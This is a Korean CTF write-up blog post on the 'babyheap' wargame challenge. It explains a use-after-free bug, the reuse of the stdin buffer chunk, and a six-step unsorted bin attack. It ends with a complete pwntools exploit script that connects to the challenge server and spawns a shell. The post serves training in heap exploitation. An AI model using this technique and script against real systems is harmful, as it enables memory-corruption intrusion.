Profile

youngsouk

youngsouk

[wargame.0x0.site] babyheap 라이트업

처음에 ida로 열게되면 함수 이름들이 sub~어쩌구로 되어있는데 메뉴를 이용해서 복구를 시키게 되면

main은 일케 된다. 먼저 setup함수를 보면

대부분의 문제들은 setvbuf를 통해 stdin과 stdout을 버퍼링을 하지 않도록 하게 두는데 왜냐하면 버퍼링을 사용하게 되면 heap영역에 할당을 받아서 버퍼링을 하기 때문에 방해요소가 될 수 있기 때문이다.

여기서 stdout만 버퍼링을 하는 것으로 보아 stdin을 이용해야 될 것이라고 추측할 수 있다.

다음은 input()함수로 입력을 받아서 숫자로 변환시켜준다.

free부분인데 여기서 ptr에 있는것을 free하는데 ptr을 초기화하지 않는다. 그래서 취약점이 발생하게 된다.

여기가 중요한데 보통의 문제에서 give_up처럼 포기하는 메뉴가 있는 경우 바로 exit를 해주게 된다. 하지만 여기서는 y나 Y를 입력해야만 나가게 한다는 이상한 점을 발견할 수 있다. 즉 아까 추측한 stdin과 연관이 있을 것이라는 게싱을 할 수 있다.

그 다음은 secret비밀 메뉴인데 여기서 key가 값이 있으면 쉘을 준다. 그러기 위해서 저 문자열처럼 unsorted bin attack을 이용해야 될 것 같다.

다음은 add인데 ptr에 값이 있으면 다시 할당을 안해주는 것으로 보아 1번만 할당을 할 수 있다는 것을 알 수 있다. 

익스 플로잇 방법은 6단계가 된다.

1. 0x1020의 청크의 크기를 가지도록 malloc

2. free

3. give_up 메뉴를 통해 stdin 버퍼링 사용 (2번에서 free했던 청크 재사용)

4. free 그럼 stdin 버퍼링 공간이 free

5. give_up 메뉴로 4번에서 free한 청크의 bk에 key -16쓰기

6. secret메뉴를 이용해서 1번에서 할당한 크기로 malloc (trigger unsorted bin attack)

그래서 익스플로잇 코드는

from pwn import *

context.log_level = 'debug'

def add(size,data,title):
    p.sendlineafter('Choice : ', '1')
    p.sendafter("size : " , str(size))
    p.sendafter("data : " , str(data))
    p.sendafter('title :', str(title))

def delete():
    p.sendlineafter('Choice : ', '2')

def give_up(content):
    p.sendlineafter('Choice : ', '3')
    p.sendlineafter('are u sure : ', content)
    
def u_bin_a(size):
    p.sendlineafter('Choice : ', '31337')
    p.sendafter("size : " , str(size))

def secret(size):
    p.sendlineafter('Choice : ', '31337')
    p.sendafter("size : " , str(size))

#p = process('./babyheap')
p = remote('0x0.site', 12214)
e = ELF('./babyheap')
l = e.libc
#l = ELF('./')

pause()
add(0x1010-16, 'a', 'a') 
delete()
give_up('a' * 5) # uaf for stdin structure
delete()
give_up('a' * 8 + p64(0x6020C0 - 16)) # bk = ptr - 16
u_bin_a(0x1010-16) # trigger unsorted bin attack

p.interactive()

이렇게 된다.

 

후기

stdin 버퍼링에 대해서 이해할 수 있는 좋은 기회였다. 그리고 문제도 신박해서 재미있게 풀었다.

'CTF write-up' 카테고리의 다른 글

[hacktmctf] trip_to_trick  (0) 2020.02.07
[Hitcon 2016] Secret Holder  (0) 2020.01.25
Tokyo Western CTF 2017 - Parrot  (0) 2019.10.02
[hackingcamp2019]bonus  (0) 2019.08.25
[hackingcamp2019]  (0) 2019.08.25